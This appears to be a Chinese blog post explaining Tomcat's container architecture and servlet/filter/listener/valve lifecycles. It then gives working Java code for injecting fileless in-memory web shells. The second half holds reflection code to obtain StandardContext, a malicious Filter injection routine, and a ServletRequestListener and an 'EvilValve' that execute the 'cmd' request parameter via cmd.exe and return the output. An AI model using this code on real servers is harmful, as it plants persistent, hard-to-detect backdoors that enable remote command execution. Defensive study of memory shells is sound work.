--Server 顶层容器
--Service 提供具体服务的
--Connector
--Container
--Engine
--Host
--Context
--Wrapper
--Service
Server: 一个Tomcat仅有一个Server,指代整个Web服务器。
Connector: 连接器,用于接受请求并将请求封装成Request和Response对象。
默认配置文件server.xml
redirectPort="8443" />
Container:Catalina,Servlet 容器,处理servlet请求,内部有多层容器组成,用于管理 Servlet 生命周期,调用 servlet 相关方法。
在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器:
StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue
Engine:Servlet 的顶层容器
Host:代表一个虚拟主机
Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,Web 应用上下文,包含多个 Wrapper,负责 web 配置的解析、管 理所有的 Web 资源;
Wrapper:每个Wrapper中封装了一个Servlet
pattern="%h %l %u %t "%r" %s %b" />
2.tomcat处理请求流程
一次完整请求,socket->http->response
Connector处理部分
NioEndpoint$SocketProcessor -> Http11Processor -> CoyoteAdapter,通过CoyoteAdapter的service方法,完成org.apache.coyote.Request -> org.apache.catalina.connector.Request (实现了HttpServletRequest)和org.apache.catalina.connector.Response (实现了HttpServletResponse)的转换。
2.servlet介绍Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例。
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。
Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。
加载顺序
web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。
3.1常见的servlet示例
1
2
3
4
5
6
7
8
9
10
public class LoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String name = request.getParameter("name");
String password = request.getParameter("password");
System.out.println("name:" + name);
System.out.println("password:" + password);
}
}
在web.xml中配置如下
配置servlet类和maping的映射关
servlet生命周期
login请求具体过程
3.2servlet加载流程调试。调试环境 tomcat8
3.2.1一个Wrapper代表一个servlet实例,StandardContext.class 中有createWrapper 方法,在此处在断点进行调试
关键的调用过程如下:
3.2.2发现:ContextConfig.webConfig() 方法,会加载我们的配置文件web.xml,然后对xml进行解析,获取filter,servlet配置信息。测试环境暂未添加listener
3.2.3解析完配置文件之后,ContextConfig.configureContext,对context进行配置
会对filter,listener,servlet进行配置
3.2.4其中对servlet的配置过程如下:
创建wrapper实例,赋值servletname
3.2.5设置 Servlet 对应的 Class
3.2.6将wrapper添加至当前的context中
3.2.7wrapper配置完后,配置mapping
进入StandardContext.addServletMappingDecoded()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) {
//查找当前child中有没有这个servletname的wrapper
if (this.findChild(name) == null) {
throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", new Object[]{name}));
} else {
//对路由进行判断
String adjustedPattern = this.adjustURLPattern(pattern);
if (!this.validateURLPattern(adjustedPattern)) {
throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", new Object[]{adjustedPattern}));
} else {
synchronized(this.servletMappingsLock) {
// 前面没有对wrapper进行路由关系映射
String name2 = (String)this.servletMappings.get(adjustedPattern);
if (name2 != null) {
Wrapper wrapper = (Wrapper)this.findChild(name2);
wrapper.removeMapping(adjustedPattern);
}
//context中添加路由与wrapper映射关系
this.servletMappings.put(adjustedPattern, name);
}
Wrapper wrapper = (Wrapper)this.findChild(name);
//wrapper中添加对应mapping信息
wrapper.addMapping(adjustedPattern);
this.fireContainerEvent("addServletMapping", adjustedPattern);
}
}
}
总结:
1.查找 当前的Child的wrapper
2.对路由进行校验
3.向context 的mapping 中添加 路由和servletname
4.在当前child中找到name 相同的wapper
5.相同的wapper 添加路由
这个过程也和web.xml的属性对应
3.2.8servlet的启动顺序
StandardWrapper.loadServlet()处下断点
其中在StandardContext.startInternal()方法中可以看到tomcat对servlet的加载顺序
3.2.9jsp注入
Wrapper newWrapper = context.createWrapper();
String name = servlet.getClass().getSimpleName();
//3.2.4
newWrapper.setName(name);
//newWrapper.setLoadonStartup(1);
///3.2.5
newWrapper.setServletClass(servlet.getClass().getName());
//3.2.6
context.addChild(newWrapper);
//3.2.7
context.addServletMappingDecoded("/master", name);
newWrapper.setServlet(servlet);
发现这个 是用不了的,对比filter是缺少了与类实例的映射。
在applicationcontext的addservlet方法中, 是有这行代码,设置类实例
StandardWrapper.load)中 ,也是将
this.instance = this.loadServlet();
loadServlet()返回servlet ,servlet = (Servlet)instanceManager.newInstance(this.servletClass);
instance 设置为servlet实例
所以要添加
将wrapper与servlets实例关联
Wrapper.setServlet(servlet);
最后如下:
Wrapper newWrapper = context.createWrapper();
String name = servlet.getClass().getSimpleName();
//3.2.4
newWrapper.setName(name);
newWrapper.setLoadonStartup(1);
//
//newWrapper.setServlet(servlet);
///3.2.5
newWrapper.setServletClass(servlet.getClass().getName());
context.addChild(newWrapper);
context.addServletMappingDecoded("/master", name);
4.1常见filter类用例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class FirstFilter implements Filter {
@Override
public void destroy() {
// 在web容器卸载Filter对象之前被调用
}
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
request.setCharacterEncoding("UTF-8");
String ip = request.getRemoteAddr();
String url = request.getRequestURL().toString();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date d = new Date();
String date = sdf.format(d);
System.out.printf("%s %s 访问了 %s%n", date, ip, url);
chain.doFilter(request, response);
}
@Override
public void init(FilterConfig arg0) throws ServletException {
}
}
web.xml配置
4.2 执行顺序,filter的执行顺序与添加web.xml添加的顺序一致
4.3执行点: 当执行到最后的StandardWrapperValue时,将通过ApplicationFilterFactory对象的createFilterChain()方法,创建FilterChain(过滤链),并调用FilterChain.doFilter()方法,对请求进行过滤 *** 作。
关键,从context中获取filterMaps,通过filtermap获取filterconfig,将filterconfig添加进filterChain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) { 当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
filterChain.addFilter(filterConfig);
}
}
}
arr$ = filterMaps;
len$ = filterMaps.length;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
filtermap中存放filtername与url 对应关系
1
2
3
private HashMap
private HashMap
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息
filterDefs 变量存储了filter名称与相应FilterDef的对象,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
总结:
filterMaps变量:含有所有filter的URL映射关系
filterDefs变量: 含有所有filter包括实例在内等变量
filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理
createFilterChail方法会根据请求的URL在filterMaps中匹配filter,然后在filterConfigs中找到filter实例,创建filterChain。
因此,我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数,即可完成Filter马的注入。
注入:
...
Map filterConfigs = (Map)fconfig.get(standardContext);
...
//filterdef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); //
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName()); // 设置类名
standardContext.addFilterDef(filterDef); // 放入 context的filterdef中
//filtermap
FilterMap filterMap = new FilterMap(); //存放作用域和filter 名称
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
//添加近filtermaps
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//filterConfigs 从前面的 全局作用域获取,通过反射修改。
filterConfigs.put(name,filterConfig);
5.1常见的listener使用
public class ServletRequestLister implements ServletRequestListener {
// 监听请求
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println(servletRequestEvent.getServletRequest()+" over");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println(servletRequestEvent.getServletRequest()+" start");
}
}
web.xml配置
listenter.ServletRequestLister
listener都是全局都是全局的不用设置路由。
常见的listenerl类
ServletContextListener:用于监听web应用的启动和关闭
ServletContextAttributeListener:用于监听在application范围内的数据的变动
ServletRequestListener:用于监听用户请求的细节
ServletRequestAttributeListener:用于监听request范围内的数据的变动
HttpSessionListener:用于监听某次会话的开始和结束
HttpSessionAttributeListener:用于监听session范围内的属性数据的变动
5.2listener的启动流程
StandardHostValve的context.fireRequestInitEvent(request.getRequest() 触发
this.getApplicationEventListeners();获取listener
getApplicationEventListeners方法如下:
1
2
3
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}
applicationEventListenersList在standardcontext中如下:
private List
applicationEventListenersList 有addApplicationEventListener
1
2
3
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}
看起来就是添加listener,所以,我们只要获取standardcontext,调用addApplicationEventListener,将listener添加进去即可
根据listener类别,我们可以使用ServletRequestListener类,它的方法有requestInitialized(),requestDestroyed(),当一个新的request触发和销毁时,方法分别被执行。
注入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
final String name = "mtys";
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade =(ApplicationContextFacade) request.getServletContext();
// 当前的全局作用域对象
Field appctx = servletContext.getClass().getDeclaredField("context");
// 获取 他的 会话
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(applicationContextFacade);
// 当前作用对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
class myListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
myListener listenerdemo = new myListener();
standardContext.addApplicationEventListener(listenerdemo);
5.1 jsp中request对象获取
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
//另一种办法
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field apcontext = servletContext.getClass().getDeclaredField("context");
apcontext.setAccessible(true);
/反射获取对象 applicationContextFacade下的 context applicationcontext
ApplicationContext applicationContext =(ApplicationContext)apcontext.get(applicationContextFacade);
Field scontext = applicationContext.getClass().getDeclaredField("context");
scontext.setAccessible(true);
StandardContext standardContext = (StandardContext)scontext.get(applicationContext);
5.2 ContextClassLoader中获取
1
2
3
org.apache.catalina.loader.WebappClassLoaderbase webappClassLoaderbase =(org.apache.catalina.loader.WebappClassLoaderbase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderbase.getResources().getContext();
5.3从jmbserver中获取,不同的版本,获取方式不同,同一版本获取方式不唯一
javax.management.MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
//mbsInterceptor
Object obj =null;
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
obj = field.get(mbeanServer);
//repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
// domainTb
field =Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap ob =null;
ob = (HashMap)field.get(obj);
//class com.sun.jmx.mbeanserver.NamedObject
ob = (HashMap) ob.get("Catalina");
obj = ob.get("type=Mapper");
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
field =Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
obj = field.get(obj);
field =Class.forName("org.apache.tomcat.util.modeler.baseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(obj);
//
field =Class.forName("org.apache.catalina.mapper.MapperListener").getDeclaredField("mapper");
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setAccessible(true);
obj = field.get(obj);
field =Class.forName("org.apache.catalina.mapper.Mapper").getDeclaredField("contextObjectToContextVersionMap");
field.setAccessible(true);
Map mp = null;
mp= (Map) field.get(obj);
Object[] obj1 = mp.keySet().toArray();
org.apache.catalina.core.StandardContext standardContext = ( org.apache.catalina.core.StandardContext) obj1[0];
5.4 其他
tomcat全版本:https://xz.aliyun.com/t/9914
ThreadLocal获取request:https://xz.aliyun.com/t/7388
6.value型内存马 tomcat型6.1value
tomcat是一种 管道阀门格式传递消息。value就是阀门的角色。
一个管道可以有多个阀门。tomcat会调用各个管道的阀门,默认的4个阀门StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue。
会调用Value 的invoke方法。invoke方法中有request对象,可以从中解析处httprequest。
这种value会 有类似host.getPipeline().getFirst().invoke(request, response);进行挨个调用
我们只需要把恶意的valuye值注入进去就可以了
和默认的ErrorReportValve类一样所有阀门都需要继承Valvebase类
恶意类如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class EvilValve extends Valvebase{
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"cmd", "/c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("n");
}
String result = sb.toString();
response.getWriter().write(result);
} catch (Exception e) {
System.out.println("error ");
}
getNext().invoke(request, response); //20210628-Update
}
}
在StandardHost 中发现 有调用addValve方法
调用的是Containerbase的addValve方法
1
2
3
public synchronized void addValve(Valve valve) {
this.pipeline.addValve(valve);
}
StandardEngineStandardHostStandardContextStandardWrapper 都继承Containerbase类都有addValve我们只需要把恶意的value类方法加入其中就可以
这里加入StandardContext的value,StandardContext的获取方法和之前一样。
1
2
3
4
5
6
7
8
ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext();
ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context");
Field scontext = appCtx.getClass().getDeclaredField("context");
scontext.setAccessible(true);
StandardContext standardContext = (StandardContext)scontext.get(appCtx);
EvilValve evilValve = new EvilValve();
standardContext.getPipeline().addValve(evilValve);
out.println("注入valve成功!");
待补充:
1.内存马查杀
2.spring内存马,agent内存马
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)